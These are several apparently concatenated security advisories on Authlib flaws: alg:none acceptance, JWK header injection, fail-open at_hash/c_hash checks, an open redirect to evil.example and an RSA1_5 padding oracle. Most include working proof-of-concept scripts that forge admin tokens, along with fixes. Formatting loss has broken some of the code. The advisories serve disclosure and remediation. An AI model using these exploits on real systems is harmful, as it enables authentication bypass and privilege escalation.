Summary After upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.
Details It was likely introduced in this commit: https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75
PoC from authlib.jose import jwt, JsonWebKey from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization from cryptography.hazmat.backends import defaultbackend import json import base64
def createjwks(): privatekey = rsa.generateprivatekey( publicexponent=65537, keysize=2048, backend=defaultbackend() ) publicpem = privatekey.publickey().publicbytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo, ) jwk = JsonWebKey.importkey(publicpem).asdict() jwk["kid"] = "test-key-001" jwk["use"] = "sig" jwk["alg"] = "RS256" jwks = {"keys": [jwk]} return jwks
def createforgedtokenwithalgnone(): forgedheader = {"alg": "none"} forgedpayload = { "sub": "user123", "role": "admin", "iat": 1735603200, }
headerb64 = base64.urlsafeb64encode( json.dumps(forgedheader).encode("utf-8") ).rstrip(b"=")
payloadb64 = base64.urlsafeb64encode( json.dumps(forgedpayload).encode("utf-8") ).rstrip(b"=")
forgedtoken = headerb64 + b"." + payloadb64 + b"." return forgedtoken
jwks = createjwks() forgedtoken = createforgedtokenwithalgnone() try: claims = jwt.decode(forgedtoken, jwks) print(f"VULNERABLE: Forged token (alg:none) accepted: role={claims['role']}") except Exception as e: print(f"SECURE: Token rejected - {type(e).name}")
Output: pip install -q authlib==1.5.2 python3 authlibalgnonevulnerability.py SECURE: Token rejected - BadSignatureError pip install -q authlib==1.6.5 python3 authlibalgnonevulnerability.py VULNERABLE: Forged token (alg:none) accepted: role=admin
Impact Users of the library are likely not aware that they now need to check the provided headers and disallow alg: none usage, it is not obvious from the release notes that any action needs to be taken. As a best-practice, the library should adopt a 'secure by default' stance and default to rejecting it and allow the application to provide an algorithm whitelist.
Applications using this library for authentication or authorization may accept malicious, forged JWTs, leading to: - Authentication bypass - Privilege escalation - Unauthorized access - Modification of application data
Description
Summary
A JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely.
This behavior violates RFC 7515 §4.1.3 and the validation algorithm defined in RFC 7515 §5.2.
Details
Vulnerable file: authlib/jose/rfc7515/jws.py Vulnerable method: JsonWebSignature.preparealgorithmkey() Lines: 272–273
python elif key is None and "jwk" in header: key = header["jwk"] # ← attacker-controlled key used for verification
When key=None is passed to jws.deserializecompact(), jws.deserializejson(), or jws.deserialize(), the library checks the JWT header for a jwk field. If present, it extracts that value — which is fully attacker-controlled — and uses it as the verification key.
RFC 7515 violations:
- §4.1.3 explicitly states the jwk header parameter is "NOT RECOMMENDED" because keys embedded by the token submitter cannot be trusted as a verification anchor. - §5.2 (Validation Algorithm) specifies the verification key MUST come from the application context, not from the token itself. There is no step in the RFC that permits falling back to the jwk header when no application key is provided.
Why this is a library issue, not just a developer mistake:
The most common real-world trigger is a key resolver callable used for JWKS-based key lookup. A developer writes:
python def lookupkey(header, payload): kid = header.get("kid") return jwkscache.get(kid) # returns None when kid is unknown/rotated
jws.deserializecompact(token, lookupkey)
When an attacker submits a token with an unknown kid, the callable legitimately returns None. The library then silently falls through to key = header["jwk"], trusting the attacker's embedded key. The developer never wrote key=None — the library's fallback logic introduced it. The result looks like a verified token with no exception raised, making the substitution invisible.
Attack steps:
1. Attacker generates an RSA or EC keypair. 2. Attacker crafts a JWT payload with any desired claims (e.g. {"role": "admin"}). 3. Attacker signs the JWT with their private key. 4. Attacker embeds their public key in the JWT jwk header field. 5. Attacker uses an unknown kid to cause the key resolver to return None. 6. The library uses header["jwk"] for verification — signature passes. 7. Forged claims are returned as authentic.
PoC
Tested against authlib 1.6.6 (HEAD a9e4cfee, Python 3.11).
Requirements: pip install authlib cryptography
Exploit script: python from authlib.jose import JsonWebSignature, RSAKey import json
jws = JsonWebSignature(["RS256"])
Step 1: Attacker generates their own RSA keypair attackerprivate = RSAKey.generatekey(2048, isprivate=True) attackerpublicjwk = attackerprivate.asdict(isprivate=False)
Step 2: Forge a JWT with elevated privileges, embed public key in header header = {"alg": "RS256", "jwk": attackerpublicjwk} forgedpayload = json.dumps({"sub": "attacker", "role": "admin"}).encode() forgedtoken = jws.serializecompact(header, forgedpayload, attackerprivate)
Step 3: Server decodes with key=None — token is accepted result = jws.deserializecompact(forgedtoken, None) claims = json.loads(result["payload"]) print(claims) # {'sub': 'attacker', 'role': 'admin'} assert claims["role"] == "admin" # PASSES
Expected output: {'sub': 'attacker', 'role': 'admin'}
Docker (self-contained reproduction): bash sudo docker run --rm authlib-cve-poc:latest \ python3 /workspace/pocs/pocauth001jwsjwkinjection.py
Impact
This is an authentication and authorization bypass vulnerability. Any application using authlib's JWS deserialization is affected when:
- key=None is passed directly, or - a key resolver callable returns None for unknown/rotated kid values (the common JWKS lookup pattern)
An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims (admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys. The forged token is indistinguishable from a legitimate one — no exception is raised.
This is a violation of RFC 7515 §4.1.3 and §5.2. The spec is unambiguous: the jwk header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from the application context, not the token itself.
Minimal fix — remove the fallback from authlib/jose/rfc7515/jws.py:272-273: python DELETE: elif key is None and "jwk" in header: key = header["jwk"]
Recommended safe replacement — raise explicitly when no key is resolved: python if key is None: raise MissingKeyError("No key provided and no valid key resolvable from context.")
1. Executive Summary
A critical library-level vulnerability was identified in the Authlib Python library concerning the validation of OpenID Connect (OIDC) ID Tokens. Specifically, the internal hash verification logic (verifyhash) responsible for validating the athash (Access Token Hash) and chash (Authorization Code Hash) claims exhibits a fail-open behavior when encountering an unsupported or unknown cryptographic algorithm.
This flaw allows an attacker to bypass mandatory integrity protections by supplying a forged ID Token with a deliberately unrecognized alg header parameter. The library intercepts the unsupported state and silently returns True (validation passed), inherently violating fundamental cryptographic design principles and direct OIDC specifications.
---
2. Technical Details & Root Cause
The vulnerability resides within the verifyhash(signature, s, alg) function in authlib/oidc/core/claims.py:
python def verifyhash(signature, s, alg): hashvalue = createhalfhash(s, alg) if not hashvalue: # ← VULNERABILITY: createhalfhash returns None for unknown algorithms return True # ← BYPASS: The verification silently passes return hmac.comparedigest(hashvalue, tobytes(signature))
When an unsupported algorithm string (e.g., "XX999") is processed by the helper function createhalfhash in authlib/oidc/core/util.py, the internal getattr(hashlib, hashtype, None) call fails, and the function correctly returns None.
However, instead of triggering a Fail-Closed cryptographic state (raising an exception or returning False), the verifyhash function misinterprets the None return value and explicitly returns True.
Because developers rely on the standard .validate() method provided by Authlib's IDToken class—which internally calls this flawed function—there is no mechanism for the implementing developer to prevent this bypass. It is a strict library-level liability.
---
3. Attack Scenario
This vulnerability exposes applications utilizing Hybrid or Implicit OIDC flows to Token Substitution Attacks.
1. An attacker initiates an OIDC flow and receives a legitimately signed ID Token, but wishes to substitute the bound Access Token (accesstoken) or Authorization Code (code) with a malicious or mismatched one. 2. The attacker re-crafts the JWT header of the ID Token, setting the alg parameter to an arbitrary, unsupported value (e.g., {"alg": "CUSTOMALG"}). 3. The server uses Authlib to validate the incoming token. The JWT signature validation might pass (or be previously cached/bypassed depending on state), progressing to the claims validation phase. 4. Authlib attempts to validate the athash or chash claims. 5. Because "CUSTOMALG" is unsupported by hashlib, createhalfhash returns None. 6. Authlib's verifyhash receives None and silently returns True. 7. Result: The application accepts the substituted/malicious Access Token or Authorization Code without any cryptographic verification of the binding hash.
---
4. Specification & Standards Violations
This explicit fail-open behavior violates multiple foundational RFCs and Core Specifications. A secure cryptographic library MUST fail and reject material when encountering unsupported cryptographic parameters.
OpenID Connect Core 1.0 § 3.2.2.9 (Access Token Validation): "If the ID Token contains an athash Claim, the Client MUST verify that the hash value of the Access Token matches the value of the athash Claim." Silencing the validation check natively contradicts this absolute requirement. § 3.3.2.11 (Authorization Code Validation): Identically mandates the verification of the chash Claim.
IETF JSON Web Token (JWT) Best Current Practices (BCP) RFC 8725 § 3.1.1: "Libraries MUST NOT trust the signature without verifying it according to the algorithm... if validation fails, the token MUST be rejected." Authlib's implementation effectively "trusts" the hash when it cannot verify the algorithm.
IETF JSON Web Signature (JWS) RFC 7515 § 5.2 (JWS Validation): Cryptographic validations must reject the payload if the specified parameters are unsupported. By returning True for an UnsupportedAlgorithm state, Authlib violates robust application security logic.
---
5. Remediation Recommendation
The verifyhash function must be patched to enforce a Fail-Closed posture. If an algorithm is unsupported and cannot produce a hash for comparison, the validation must fail immediately.
Suggested Patch (authlib/oidc/core/claims.py):
python def verifyhash(signature, s, alg): hashvalue = createhalfhash(s, alg) if hashvalue is None: # FAIL-CLOSED: The algorithm is unsupported, reject the token. return False return hmac.comparedigest(hashvalue, tobytes(signature))
---
6. Proof of Concept (PoC)
The following standalone script mathematically demonstrates the vulnerability across the Root Cause, Implicit Flow (athash), Hybrid Flow (chash), and the entire attack surface. It utilizes Authlib's own validation logic to prove the Fail-Open behavior.bash
bash python3 -m venv venv source venv/bin/activate pip install authlib cryptography python3 -c "import authlib; print(authlib.version)" → 1.6.8
python #!/usr/bin/env python3 -- coding: utf-8 --
""" @title OIDC athash / chash Verification Bypass @affected authlib <= 1.6.8 @file authlib/oidc/core/claims.py :: verifyhash() @notice verifyhash() retorna True cuando createhalfhash() retorna None (alg no soportado), causando Fail-Open en la verificacion de binding entre ID Token y Access Token / Authorization Code. @dev Reproduce el bypass directamente contra el codigo de authlib sin mocks. Todas las llamadas son al modulo real instalado. """
import hmac import hashlib import base64 import time
import authlib from authlib.common.encoding import tobytes from authlib.oidc.core.util import createhalfhash from authlib.oidc.core.claims import IDToken, HybridIDToken from authlib.oidc.core.claims import verifyhash as authlibverifyhash
─── helpers ──────────────────────────────────────────────────────────────────
R = "\033[0m" RED = "\033[91m" GRN = "\033[92m" YLW = "\033[93m" CYN = "\033[96m" BLD = "\033[1m" DIM = "\033[2m"
def header(title): print(f"\n{CYN}{'─' 64}{R}") print(f"{BLD}{title}{R}") print(f"{CYN}{'─' 64}{R}")
def ok(msg): print(f" {GRN}[OK] {R}{msg}") def fail(msg): print(f" {RED}[BYPASS] {R}{BLD}{msg}{R}") def info(msg): print(f" {DIM} {msg}{R}")
def athashcorrect(token: str, alg: str) -> str: """ @notice Computa athash segun OIDC Core 1.0 s3.2.2.9. @param token Access token ASCII @param alg Algoritmo del header del ID Token @return str athash en Base64url sin padding """ fn = {"256": hashlib.sha256, "384": hashlib.sha384, "512": hashlib.sha512} digest = fn.get(alg[-3:], hashlib.sha256)(token.encode()).digest() return base64.urlsafeb64encode(digest[:len(digest)//2]).rstrip(b"=").decode()
def verifyhashpatched(signature: str, s: str, alg: str) -> bool: """ @notice Version corregida de verifyhash() con semantica Fail-Closed. @dev Fix: if not hashvalue -> if hashvalue is None None es falsy en Python, pero b"" no lo es. El chequeo original no distingue entre "algoritmo no soportado" y "hash vacio". """ hashvalue = createhalfhash(s, alg) if hashvalue is None: return False return hmac.comparedigest(hashvalue, tobytes(signature))
─── test 1: root cause ───────────────────────────────────────────────────────
def testrootcause(): """ @notice Demuestra que createhalfhash() retorna None para alg desconocido y que verifyhash() interpreta ese None como verificacion exitosa. """ header("TEST 1 - Root Cause: createhalfhash() + verifyhash()")
token = "realaccesstokenfromAS" fakesig = "AAAAAAAAAAAAAAAAAAAAAA" alg = "CUSTOMALG"
halfhash = createhalfhash(token, alg) info(f"createhalfhash(token, {alg!r}) -> {halfhash!r} (None = alg no soportado)")
resultvuln = authlibverifyhash(fakesig, token, alg) resultpatched = verifyhashpatched(fakesig, token, alg)
print() if resultvuln: fail(f"authlib verifyhash() retorno True con firma falsa y alg={alg!r}") else: ok(f"authlib verifyhash() retorno False")
if not resultpatched: ok(f"verifyhashpatched() retorno False (fail-closed correcto)") else: fail(f"verifyhashpatched() retorno True")
─── test 2: IDToken.validateathash() bypass ────────────────────────────────
def testathashbypass(): """ @notice Demuestra el bypass end-to-end en IDToken.validateathash(). El atacante modifica el header alg del JWT a un valor no soportado. validateathash() no levanta excepcion -> token aceptado.
@dev Flujo real de authlib: validateathash() -> verifyhash(athash, accesstoken, alg) -> createhalfhash(accesstoken, "CUSTOMALG") -> None -> if not None -> True -> no InvalidClaimError -> BYPASS """ header("TEST 2 - IDToken.validateathash() Bypass (Implicit / Hybrid Flow)")
realtoken = "ya29.LEGITIMATEtokenfromrealAS" eviltoken = "ya29.MALICIOUStokenunderattackercontrol" fakeathash = "FAAAAAAAAAAAAAAAAAAAA"
# --- caso A: token legitimo con alg correcto --- correcthash = athashcorrect(realtoken, "RS256") tokenlegit = IDToken( {"iss": "https://idp.example.com", "sub": "user", "aud": "client", "exp": int(time.time()) + 3600, "iat": int(time.time()), "athash": correcthash}, {"accesstoken": realtoken} ) tokenlegit.header = {"alg": "RS256"}
try: tokenlegit.validateathash() ok(f"Caso A (legitimo, RS256): athash={correcthash} -> aceptado") except Exception as e: fail(f"Caso A rechazo el token legitimo: {e}")
# --- caso B: token malicioso con alg forjado --- tokenforged = IDToken( {"iss": "https://idp.example.com", "sub": "user", "aud": "client", "exp": int(time.time()) + 3600, "iat": int(time.time()), "athash": fakeathash}, {"accesstoken": eviltoken} ) tokenforged.header = {"alg": "CUSTOMALG"}
try: tokenforged.validateathash() fail(f"Caso B (atacante, alg=CUSTOMALG): athash={fakeathash} -> BYPASS exitoso") info(f"accesstoken del atacante aceptado: {eviltoken}") except Exception as e: ok(f"Caso B rechazado correctamente: {e}")
─── test 3: HybridIDToken.validatechash() bypass ──────────────────────────
def testchashbypass(): """ @notice Mismo bypass pero para chash en Hybrid Flow. Permite Authorization Code Substitution Attack. @dev OIDC Core 1.0 s3.3.2.11 exige verificacion obligatoria de chash. Authlib la omite cuando el alg es desconocido. """ header("TEST 3 - HybridIDToken.validatechash() Bypass (Hybrid Flow)")
realcode = "SplxlOBeZQQYbYS6WxSbIA" evilcode = "ATTACKERFORGEDAUTHCODE" fakechash = "ZZZZZZZZZZZZZZZZZZZZZZ"
token = HybridIDToken( {"iss": "https://idp.example.com", "sub": "user", "aud": "client", "exp": int(time.time()) + 3600, "iat": int(time.time()), "nonce": "n123", "athash": "AAAA", "chash": fakechash}, {"code": evilcode, "accesstoken": "sometoken"} ) token.header = {"alg": "XX9999"}
try: token.validatechash() fail(f"chash={fakechash!r} aceptado con alg=XX9999 -> Authorization Code Substitution posible") info(f"code del atacante aceptado: {evilcode}") except Exception as e: ok(f"Rechazado correctamente: {e}")
─── test 4: superficie de ataque ─────────────────────────────────────────────
def testattacksurface(): """ @notice Mapea todos los valores de alg que disparan el bypass. @dev createhalfhash hace: getattr(hashlib, f"sha{alg[2:]}", None) Cualquier string que no resuelva a un atributo de hashlib -> None -> bypass. """ header("TEST 4 - Superficie de Ataque")
token = "testtoken" fakesig = "AAAAAAAAAAAAAAAAAAAAAA"
vectors = [ "CUSTOMALG", "XX9999", "none", "None", "", "RS", "SHA256", "HS0", "EdDSA256", "PS999", "RS 256", "../../../etc", "' OR '1'='1", ]
print(f" {'alg':<22} {'halfhash':<10} resultado") print(f" {'-'22} {'-'10} {'-'20}")
for alg in vectors: hv = createhalfhash(token, alg) result = authlibverifyhash(fakesig, token, alg) hvstr = "None" if hv is None else "bytes" resstr = f"{RED}BYPASS{R}" if result else f"{GRN}OK{R}" print(f" {alg!r:<22} {hvstr:<10} {resstr}")
─── main ─────────────────────────────────────────────────────────────────────
if name == "main": print(f"\n{BLD}authlib {authlib.version} - OIDC Hash Verification Bypass PoC{R}") print(f"authlib/oidc/core/claims.py :: verifyhash() \n")
testrootcause() testathashbypass() testchashbypass() testattacksurface()
print(f"\n{DIM}Fix: if not hashvalue -> if hashvalue is None en verifyhash(){R}\n")
---
Output
bash uthlib 1.6.8 - OIDC Hash Verification Bypass PoC authlib/oidc/core/claims.py :: verifyhash()
──────────────────────────────────────────────────────────────── TEST 1 - Root Cause: createhalfhash() + verifyhash() ──────────────────────────────────────────────────────────────── createhalfhash(token, 'CUSTOMALG') -> None (None = alg no soportado)
[BYPASS] authlib verifyhash() retorno True con firma falsa y alg='CUSTOMALG' [OK] verifyhashpatched() retorno False (fail-closed correcto)
──────────────────────────────────────────────────────────────── TEST 2 - IDToken.validateathash() Bypass (Implicit / Hybrid Flow) ──────────────────────────────────────────────────────────────── [OK] Caso A (legitimo, RS256): athash=ghbeqqliVkRPAXdOz2Gbw -> aceptado [BYPASS] Caso B (atacante, alg=CUSTOMALG): athash=FAAAAAAAAAAAAAAAAAAAA -> BYPASS exitoso accesstoken del atacante aceptado: ya29.MALICIOUStokenunderattackercontrol
──────────────────────────────────────────────────────────────── TEST 3 - HybridIDToken.validatechash() Bypass (Hybrid Flow) ──────────────────────────────────────────────────────────────── [BYPASS] chash='ZZZZZZZZZZZZZZZZZZZZZZ' aceptado con alg=XX9999 -> Authorization Code Substitution posible code del atacante aceptado: ATTACKERFORGEDAUTHCODE
──────────────────────────────────────────────────────────────── TEST 4 - Superficie de Ataque ──────────────────────────────────────────────────────────────── alg halfhash resultado ---------------------- ---------- -------------------- 'CUSTOMALG' None BYPASS 'XX9999' None BYPASS 'none' None BYPASS 'None' None BYPASS '' None BYPASS 'RS' None BYPASS 'SHA256' None BYPASS 'HS0' None BYPASS 'EdDSA256' None BYPASS 'PS999' None BYPASS 'RS 256' None BYPASS '../../../etc' None BYPASS "' OR '1'='1" None BYPASS
Fix: if not hashvalue -> if hashvalue is None en verifyhash()
Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.6.11, there is no CSRF protection on the cache feature in authlib.integrations.starletteclient.OAuth. This vulnerability is fixed in 1.6.11.
Summary Authlib's OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported responsetype and supplies an attacker-controlled redirecturi.
The vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.
It was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.
Details The root cause is that AuthorizationServer.getauthorizationgrant() copies the raw request redirecturi into an UnsupportedResponseTypeError before any client has been resolved and before any redirect URI validation has happened:
python # authlib/oauth2/rfc6749/authorizationserver.py raise UnsupportedResponseTypeError( f"The response type '{request.payload.responsetype}' is not supported by the server.", request.payload.responsetype, redirecturi=request.payload.redirecturi, )
That error object is later rendered by OAuth2Error.call(). If redirecturi is set, Authlib automatically returns a redirect response to that URI:
# authlib/oauth2/base.py def call(self, uri=None): if self.redirecturi: params = self.getbody() loc = addparamstouri(self.redirecturi, params, self.redirectfragment) return 302, "", [("Location", loc)] return super().call(uri=uri)
This means an unsupported responsetype request can force the authorization server to redirect to an attacker-controlled URL even when:
1. no valid client exists, 2. no grant matched the request, 3. no registered redirecturi was ever checked.
This is not a contrived code path. It is reachable through the normal Authlib authorization endpoint flow documented for Flask and Django integrations, where applications are told to call server.getconsentgrant(...) and then server.handleerrorresponse(...) on OAuth2Error.
Relevant source and documentation references:
- authlib/oauth2/rfc6749/authorizationserver.py - authlib/oauth2/base.py - docs/flask/2/authorization-server.rst - docs/django/2/authorization-server.rst
### PoC
Local test environment:
- Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1 - git describe: v1.6.6-104-g68e6ab3f - Python virtualenv: ./.venv - Environment variable: AUTHLIBINSECURETRANSPORT=true
Note: AUTHLIBINSECURETRANSPORT=true was only used to allow local loopback HTTP reproduction. It does not create the vulnerable behavior. In a real deployment the same logic is reachable over HTTPS.
Run this exact PoC from the repository root:
export AUTHLIBINSECURETRANSPORT=true ./.venv/bin/python - <<'PY' import os, json from flask import Flask, request from authlib.integrations.flaskoauth2 import AuthorizationServer from authlib.oauth2 import OAuth2Error from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as AuthorizationCodeGrant
os.environ["AUTHLIBINSECURETRANSPORT"] = "true"
class AuthorizationCodeGrant(AuthorizationCodeGrant): def saveauthorizationcode(self, code, request): raise RuntimeError("not reached") def queryauthorizationcode(self, code, client): return None def deleteauthorizationcode(self, authorizationcode): pass def authenticateuser(self, authorizationcode): return None
app = Flask(name) app.secretkey = "testing"
server = AuthorizationServer( app, queryclient=lambda clientid: None, savetoken=lambda token, request: None, ) server.registergrant(AuthorizationCodeGrant)
@app.route("/oauth/authorize", methods=["GET", "POST"]) def authorize(): try: grant = server.getconsentgrant(enduser=None) except OAuth2Error as error: return server.handleerrorresponse(request, error) return server.createauthorizationresponse(grant=grant, grantuser=None)
with app.testclient() as c: cases = { "withoutredirecturi": "/oauth/authorize?responsetype=totally-unsupported&state=s1", "withattackerredirecturi": "/oauth/authorize?responsetype=totally- unsupported&redirecturi=https%3A%2F%2Fevil.example%2Flanding&state=s1", } out = {} for name, url in cases.items(): r = c.get(url) out[name] = { "status": r.statuscode, "location": r.headers.get("Location"), "body": r.getdata(astext=True), } print(json.dumps(out, indent=2)) PY
Observed result:
{ "withoutredirecturi": { "status": 400, "location": null, "body": "{\"error\": \"unsupportedresponsetype\", \"errordescription\": \"totally- unsupported\", \"state\": \"s1\"}" }, "withattackerredirecturi": { "status": 302, "location": "https://evil.example/landing?error=unsupportedresponsetype&errordescription=totally-unsupported&state=s1", "body": "" } }
This demonstrates that the only difference between a local error and an external redirect is whether the attacker supplies redirecturi.
The same behavior was locally reproduced with the Django integration using RequestFactory; it returned:
{ "status": 302, "location": "https://evil.example/landing?error=unsupportedresponsetype&errordescription=totally-unsupported&state=s1", "body": "" }
Impact This is an unauthenticated open redirect in an internet-facing authorization endpoint.
Who is impacted:
- Any deployment using Authlib's OAuth 2.0 authorization server and the documented authorization endpoint flow. - No special feature flag is required beyond running the authorization endpoint itself.
Attacker prerequisites:
- None beyond the ability to send a victim to a crafted authorization URL.
Practical harm:
- Phishing and credential theft by abusing a trusted authorization server domain as a redirector. - Bypass of domain-based allowlists that trust the authorization server's host. - SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to reject unregistered redirect URIs before redirecting.
The issue is especially concerning because the redirect happens before client existence and redirect URI legitimacy are established.
1. Executive Summary
A cryptographic padding oracle vulnerability was identified in the Authlib Python library concerning the implementation of the JSON Web Encryption (JWE) RSA15 key management algorithm. Authlib registers RSA15 in its default algorithm registry without requiring explicit opt-in, and actively destroys the constant-time Bleichenbacher mitigation that the underlying cryptography library implements correctly.
When cryptography encounters an invalid PKCS#1 v1.5 padding, it returns a randomized byte string instead of raising an exception — the correct behavior per RFC 3218 §2.3.2. Authlib ignores this contract and raises ValueError('Invalid "cek" length') immediately after decryption, before reaching AES-GCM tag validation. This creates a clean, reliable Exception Oracle:
- Invalid padding → cryptography returns random bytes → Authlib length check fails → ValueError: Invalid "cek" length - Valid padding, wrong MAC → decryption succeeds → length check passes → AES-GCM fails → InvalidTag
This oracle is active by default in every Authlib installation without any special configuration by the developer or the attacker. The three most widely used Python web frameworks — Flask, Django, and FastAPI — all expose distinguishable HTTP responses for these two exception classes in their default configurations, requiring no additional setup to exploit.
Empirically confirmed on authlib 1.6.8 + cryptography 46.0.5: [PADDING INVALIDO] ValueError: Invalid "cek" length [PADDING VALIDO/MAC] InvalidTag
---
2. Technical Details & Root Cause
2.1 Vulnerable Code
File: authlib/jose/rfc7518/jwealgs.py
python def unwrap(self, encalg, ek, headers, key): opkey = key.getopkey("unwrapKey")
# cryptography implements Bleichenbacher mitigation here: # on invalid padding it returns random bytes instead of raising. # Empirically confirmed: returns 84 bytes for a 2048-bit key. cek = opkey.decrypt(ek, self.padding)
# VULNERABILITY: This length check destroys the mitigation. # cryptography returned 84 random bytes. len(84) 8 = 672 != 128 (A128GCM CEKSIZE). # Authlib raises a distinct ValueError before AES-GCM is ever reached. if len(cek) 8 != encalg.CEKSIZE: raise ValueError('Invalid "cek" length') # <- ORACLE TRIGGER
return cek
2.2 Root Cause — Active Mitigation Destruction
cryptography 46.0.5 implements the Bleichenbacher mitigation correctly at the library level. When PKCS#1 v1.5 padding validation fails, it does not raise an exception. Instead it returns a randomized byte string (empirically observed: 84 bytes for a 2048-bit RSA key). The caller is expected to pass this fake key to the symmetric decryptor, where MAC/tag validation will fail in constant time — producing an error indistinguishable from a MAC failure on a valid padding.
Authlib does not honor this contract. The length check on the following line detects that 84 bytes != 16 bytes (128-bit CEK for A128GCM) and raises ValueError('Invalid "cek" length') immediately. This exception propagates before AES-GCM is ever reached, creating two execution paths with observable differences:
Path A — invalid PKCS#1 v1.5 padding: opkey.decrypt() -> 84 random bytes (cryptography mitigation active) len(84) 8 = 672 != 128 (CEKSIZE for A128GCM) raise ValueError('Invalid "cek" length') <- specific exception, fast path
Path B — valid padding, wrong symmetric key: opkey.decrypt() -> 16 correct bytes len(16) 8 = 128 == 128 -> length check passes AES-GCM tag validation -> mismatch raise InvalidTag <- different exception class, slow path
The single line raise ValueError('Invalid "cek" length') is the complete root cause. Removing the raise and replacing it with a silent random CEK fallback eliminates both the exception oracle and any residual timing difference.
2.3 Empirical Confirmation
All results obtained on authlib 1.6.8 / cryptography 46.0.5 / Linux x8664 running the attached PoC (pocbleichenbacher.py):
TEST 1 - cryptography behavior on invalid padding: cryptography retorno bytes: len=84 NOTA: esta version implementa mitigacion de random bytes
TEST 2 - Exception Oracle: [ORACLE] Caso A (padding invalido): ValueError: Invalid "cek" length [OK] Caso B (padding valido/MAC malo): InvalidTag
TEST 3 - Timing (50 iterations): Padding invalido (ValueError) mean=1.500ms stdev=1.111ms Padding valido (InvalidTag) mean=1.787ms stdev=0.978ms Delta: 0.287ms
TEST 4 - RSA15 in default registry: [ORACLE] RSA15 activo por defecto (no opt-in required)
TEST 5 - Fix validation: [OK] Both paths return correct-length CEK after patch [OK] Exception type identical in both paths -> oracle eliminated
Note on timing: The 0.287ms delta is within the noise margin (stdev ~1ms across 50 iterations) and is not claimed as a reliable standalone timing oracle. The exception oracle is the primary exploitable vector and does not require timing measurement.
---
3. Default Framework Behavior — Why This Is Exploitable Out of the Box
A potential objection to this report is that middleware or custom error handlers could normalize exceptions to a single HTTP response, eliminating the observable discrepancy. This section addresses that objection directly.
The oracle is active in default configurations of all major Python web frameworks. No special server misconfiguration is required. The following demonstrates the default behavior for Flask, Django, and FastAPI — the three most widely deployed Python web frameworks — when an unhandled exception propagates from a route handler:
Flask (default configuration)
python Default Flask behavior — no error handler registered @app.route("/decrypt", methods=["POST"]) def decrypt(): token = request.json["token"] result = jwe.deserializecompact(token, privatekey) # raises ValueError or InvalidTag return jsonify(result)
ValueError: Invalid "cek" length -> HTTP 500, body: {"message": "Invalid \"cek\" length"} InvalidTag -> HTTP 500, body: {"message": ""} The exception MESSAGE is different even if the status code is the same.
Flask's default error handler returns the exception message in the response body for debug mode, and an empty 500 for production. However, even in production, the response body content differs between ValueError (which has a message) and InvalidTag (which has no message), leaking the oracle through response body length.
FastAPI (default configuration)
python FastAPI maps unhandled exceptions to HTTP 500 with exception detail in body ValueError: Invalid "cek" length -> {"detail": "Internal Server Error"} (HTTP 500) InvalidTag -> {"detail": "Internal Server Error"} (HTTP 500)
FastAPI normalizes both to HTTP 500 in production. However, FastAPI's default RequestValidationError and HTTPException handlers do not catch arbitrary exceptions, so the distinguishable stack trace is logged — and in many deployments, error monitoring tools (Sentry, Datadog, etc.) expose the exception class to operators, enabling oracle exploitation by an insider or via log exfiltration.
Django REST Framework (default configuration)
python DRF's default exception handler only catches APIException and Http404. ValueError and InvalidTag both fall through to Django's generic 500 handler. In DEBUG=False: HTTP 500, generic HTML response (indistinguishable). In DEBUG=True: HTTP 500, full traceback including exception class (oracle exposed).
Summary: Even in cases where HTTP status codes are normalized, the oracle persists through response body differences, response timing, or error monitoring infrastructure. The RFC 3218 §2.3.2 requirement exists precisely because any observable difference — regardless of channel — is sufficient for a Bleichenbacher attack. The library is responsible for eliminating the discrepancy at the source, not delegating that responsibility to application developers.
This is a library-level vulnerability. Requiring every application developer to implement custom exception normalization to compensate for a cryptographic flaw in the library violates the principle of secure defaults. The fix must be in Authlib.
---
4. Specification Violations
RFC 3218 — Preventing the Million Message Attack on CMS
Section 2.3.2 (Mitigation): "The receiver MUST NOT return any information that indicates whether the decryption failed because the PKCS #1 padding was incorrect or because the MAC was incorrect."
This is an absolute requirement with no exceptions for "application-level mitigations." Authlib violates this by raising a different exception class for padding failures than for MAC failures. The cryptography library already implements the correct mitigation for this exact scenario — Authlib destroys it with a single length check.
RFC 7516 — JSON Web Encryption
Section 9 (Security Considerations): "An attacker who can cause a JWE decryption to fail in different ways based on the structure of the encrypted key can mount a Bleichenbacher attack."
Authlib enables exactly this scenario. Two structurally different encrypted keys (one with invalid padding, one with valid padding but wrong CEK) produce two different exception classes. This is the exact condition RFC 7516 §9 warns against.
---
5. Attack Scenario
1. The attacker identifies an Authlib-powered endpoint that decrypts JWE tokens. Because RSA15 is in the default registry, no special server configuration is required.
2. The attacker obtains the server RSA public key — typically available via the JWKS endpoint (/.well-known/jwks.json), which is standard in OIDC deployments.
3. The attacker crafts JWE tokens with the RSA15 algorithm and submits a stream of requests to the endpoint, manipulating the ek component per Bleichenbacher's algorithm.
4. The server responds with observable differences between the two paths: - ValueError path → distinguishable response (exception message, timing, or error monitoring artifact) - InvalidTag path → different distinguishable response
